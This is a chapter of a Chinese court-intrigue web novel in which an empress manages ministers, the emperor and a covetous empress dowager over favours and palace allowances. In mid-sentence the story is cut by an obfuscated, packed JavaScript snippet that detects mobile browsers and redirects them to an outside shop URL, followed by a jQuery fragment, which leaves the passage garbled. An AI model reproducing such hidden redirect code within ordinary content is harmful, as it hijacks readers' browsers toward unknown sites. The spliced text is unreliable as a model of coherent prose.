沈存正和范旌,胡良公等一干老臣,听到这道旨意,惊讶的同时,又有些安慰,至少刘衡还是记得先帝朝的大臣的,得知沈老太太过得不好,甚至还会照拂一二。
经此一事,刘衡才察觉到许赢君心思缜密之处,虽然是主动拉拢老臣,却一点不在群臣面前落下风。
他有所图,去许赢君那里就更多了,但是许赢君态度冷淡,并不愿意同房。
刘衡虽然有些尴尬,但并不觉得奇怪,难道就许他冷着许赢君,不许许赢君冷着他吗?
只是有几次他偶尔看皇后一眼,仿佛看到了皇后眼中一闪而过的鄙夷,随即又觉得肯定是自己眼花了,阿姐怎么会鄙夷他呢?
刘衡为了讨好许赢君,甚至把年节下各省官员献上的贡品都写了名册,让许赢君先行挑选。
许赢君懒懒看着册子,眼睫垂下来,如同一把小扇,乐景突然觉得她们家娘娘有些变了,变得静了,也冷了,不像从前风风火火的,今天要向她们抱怨冯妃矫揉做作,明天又嫌太后说错了话。
好容易许赢君对这些珍宝感兴趣,乐景凑趣道:“娘娘一向讲究,既然陛下发了话,不如多留几件。”
许赢君想,除了烦她看不上冯太后,其实刘衡对她还是十分包容的,不止这一次,刘衡本身是不讲究什么贡品不贡品的,很多珍宝入宫就存到左藏库收起来了,唯独许赢君,刘衡知道她出身好,吃穿用度精细,许多次刘衡都会让她自行去挑选喜欢的,即便是吵架了,他也会自己留些下来,等两个人吵得不太厉害了,再送去金阳殿。
她和刘衡之间有恨,有利益,但也是彼此割舍不掉的一部分。
许赢君拿朱笔圈了几处,就让乐景陪着她去把册子送回去。
刘衡正在福宁殿接见曾介之,自从上次和沈存正不欢而散后,刘衡也不是完全服软了,他虽然不再同时把曾介之等人召入宫中陪伴自己,但他给了曾介之一个虚衔,打着赏字画的名头,光明正大把人留下聊天,沈存正也只能干看着。
见许赢君来了,曾介之等人忙着行礼问安,刘衡十分高兴,他对许赢君道:“阿姐来了,多留一会儿吧,诸位大人都不是外人。”
他也想让许赢君知道,自己亲近的人不是幸臣,而是真正又本事的人。
许赢君当然知道曾介之有本事了,这个人在湖南任上为官的时候,不停通过水路倾销丝绸,赚的钱再拿来修路铺桥,让当地百姓都衣食富足起来,他被刘衡调入京中的时候,也是收了好几把万民伞的,不过除了有才干,这个人胆子也特别的大,前世为了支持皇帝推行新政,他竟然敢强行制造祥瑞,说皇帝是天命所归。
曾介之也在观察许赢君,一个能在支持沈存正的同时,还能得到皇帝这般尊重的皇后,一定是不容小觑的。
皇后果然十分亲和,话也说得十分体恤,“曾相公下了朝又要陪着陛下理事,真是辛苦了,幸好快旬假了,都可以歇歇了。”
曾介之投桃报李,“殿下才是真的辛苦,陛下事忙,没有您这个好帮手辅佐,也不能把心完全放在朝政上啊。”
刘衡见许赢君和曾介之交谈融洽,不免更加高兴。
许赢君在刘衡处待了一会儿,又往资善堂看望太子,刘礼看她的眼神已经有些陌生了,许赢君见他手边放着一匣子点心,里头是剔透的水晶包,栗子糕,火腿烧饼还有糖酥。
见许赢君看,刘礼主动开口,“是祖母为我准备的,阿娘要吃吗?”
她亲生的儿子,却这般维护太后,许赢君笑着摇头,“既然是太后为你准备的,阿娘就不和你抢了。”
她摸了摸刘礼的头,便同刘礼告别,又让他记得闲暇时记得去找弟弟妹妹玩。
从资善堂出来,正好碰到沈存正由太监领着进来,沈存正对许赢君拱手问安,又禀明来意,“臣有两本颜真卿的字帖想送给太子殿下,已经得到了陛下的准许。”
许赢君道:“新年大宴一别,已经许久不见沈相公了,陛下追封了白相公的遗孀,您知道吧?”
沈存正点点头,表情十分淡定,可见他和许赢君不是偶遇了。
许赢君温和警示沈存正,“陛下不是非要和老臣们过不去,却也常和我抱怨先帝老臣视他我看沈相公的个性也该改改了,今日我见了曾介之,眼神如炬,绝不是寻常庸碌之人,又十分会说话,本宫听了都觉得舒心,以后你再继续犯颜直谏,我只怕你的地位总有一天会被他抢走。”
沈存正难得狼狈,承认了,“娘娘足不出宫门,却耳目灵通,臣的确不如曾介之讨陛下欢心,只能指望娘娘多从中转圜了。”
可见曾介之的确给沈存正造成了不小的麻烦。
许赢君道:“哪里用得着本宫,陛下是个聪明人,不会和你计较的。”
她招招手,示意乐景上前,递出一个食盒,是刚刚没送出去的,“投桃报李,你给我儿送字帖,这盒糕点就送给沈相公吧。”
这件事没过去几日,许赢君的叔父许慎便往宫中递了消息,沈存正带着刘衡去国子监给学子们讲学了,反响十分不错。
许赢君这才松下一口气,她就知道沈存正是个聪明人,因为被人诟病是在先帝病重时献媚才求得皇位,刘衡最怕自己不得人心,沈存正带着刘衡去国子监接受一干官宦子弟的仰望,还让他亲自授课,收拢这些人,刘衡一定会高兴的。
暂时调停了沈存正和皇帝之间的矛盾,宝盈却又缠着她笑话冯太后宫中发生的事,“听说冯妃涨了份例,您也得了贡品,太后十分不满意,私下到处抱怨,说她的份例也不够用了,摔摔打打的,还把内东门司的人骂了好几次呢。”
许赢君皱着眉头,不怪她看不上冯太后,实在是太眼皮子浅了,国朝以孝治天下,宫中所有用度都是紧着万寿殿的,譬如今年冬天皇庄上的洞子货进贡的少,她和皇帝处是直接减半,冯太后那里是半点都没有少的。
只是她爱炫耀,又要赏赐子侄,又要赏赐太妃们,这下自己就没有多少了。
不过她不想操心这些了,许赢君只当自己什么都不知道,依旧去给冯太后请安,冯太后拉着皇帝诉苦,“哀家含辛茹苦照顾太子,你和皇后谁记得,你只顾赏赐嫔妃,可还记得我是你的亲娘?”
又骂许赢君,“前些日子过元宵节,陛下和殿前司的军汉们喝成那样,你身为皇后,也不去劝劝,你这个皇后是怎么当的?”
许赢君站起身,一言不发,冯建
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486196|202024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
功如今就在殿前司,如果她不劝说刘衡去亲近禁军中的其它将领,岂不是让冯建功越发得意了?
刘衡把自己的表兄提拔入殿前司,无非是想用自己的亲信拱卫皇城,但和刘衡沾亲带故的又不止冯建功一个,比如刘衡骑射师傅的儿子、伴读的堂兄、宫中宦官的义子,她只是让其他有上进心的人有了机会向刘衡表忠心而已。
如果不是她的话正好提醒了刘衡,刘衡又怎么可能真的去喝酒?
刘衡自然是什么都没发觉的,还觉得许赢君是为了自己好,他放下身份和殿前司的官员喝了几回酒,这些人为了巴结他,争先恐后挽起衣袖露出自己健硕的身体,而且他伴读的堂兄长得十分英挺,还有一个叫谭毅的也是高大威猛,又是内东门司掌事官孙守贵的干儿子。
刘衡立刻把这两个人调到了御龙直给自己当近卫,看待他们如同看待冯建功一样,就等着有机会日后提拔。
可刘衡知道内情,冯太后不知道,刘衡本想和冯太后解释两句,又知道她根本听不明白,他一脸尴尬,又把话头往份例上引,“皇后事忙,一切都是我的不是,娘这里缺了什么东西,朝儿子要就是了。”
冯太后这才平息怒气,又贪婪道:“哀家这里还养着太子,日常用度总不能委屈了吧,你们给冯妃涨了份例,干脆把太后的份例翻倍好了!”
刘衡听着觉得有些丢人,但又觉得倒也不算是大事,便点头道:“依您的就是了。”
太后自然是喜不自胜,这样她就可以赏赐娘家更多了。
许赢君一声轻轻的咳嗽,刘衡母子齐齐转头看向许赢君,许赢君则是慢慢开口道:“陛下,内廷各殿阁的份例,自有宫规祖制,按道理咱们做儿孙的,要领会祖宗们恪求节俭的心意,不能随意更改各宫食禄。”
刘衡一下就领会到了许赢君的意思,问许赢君,“难道历代君王对宫规祖制都没有修改的吗?”
“自然是有的,不过是关于戒律的多。”许赢君点点头,“关于俸禄的祖制只有照比以前削减,以示简朴的,还没有拼命往上加的。”
就算是加,也大都是按照许赢君的做法,只厚赏一部分,直接修改祖制,败坏自己的名声,那是不可能的。
冯太后听到这里,脸色已经气红了,把桌子拍的“啪啪”作响,指着许赢君骂起来,“你这个不孝的东西,专门和哀家作对,天下是我儿子的,老娘就是要改宫规祖制怎么了,这普天之下的银子都是我家的,老娘想怎么花就怎么花!”
刘衡见冯太后气得直咳嗽,忙端茶给冯太后顺气,“娘你别着急,做主的是儿子,咱们慢慢想办法就是了。”
许赢君皱皱眉,见刘衡又对冯太后心软了,立马开始撇清关系,“陛下要是想孝顺太后,臣妾并不反对,只求陛下自己下旨到中书省,不用再从臣妾这里过一道手。”
修改祖制,最好是她先请旨,给冯太后歌功颂德一番,再恭敬请求皇帝给冯太后份例翻倍,这才显出皇室的阖家欢乐,但许赢君只怕大臣们反对,到时候她和刘衡母子一起丢脸。
她一个外人,凭什么担这些黑锅。
至于劝他们不要这样做,刘衡母子被骂和她有什么关系,他们活该的。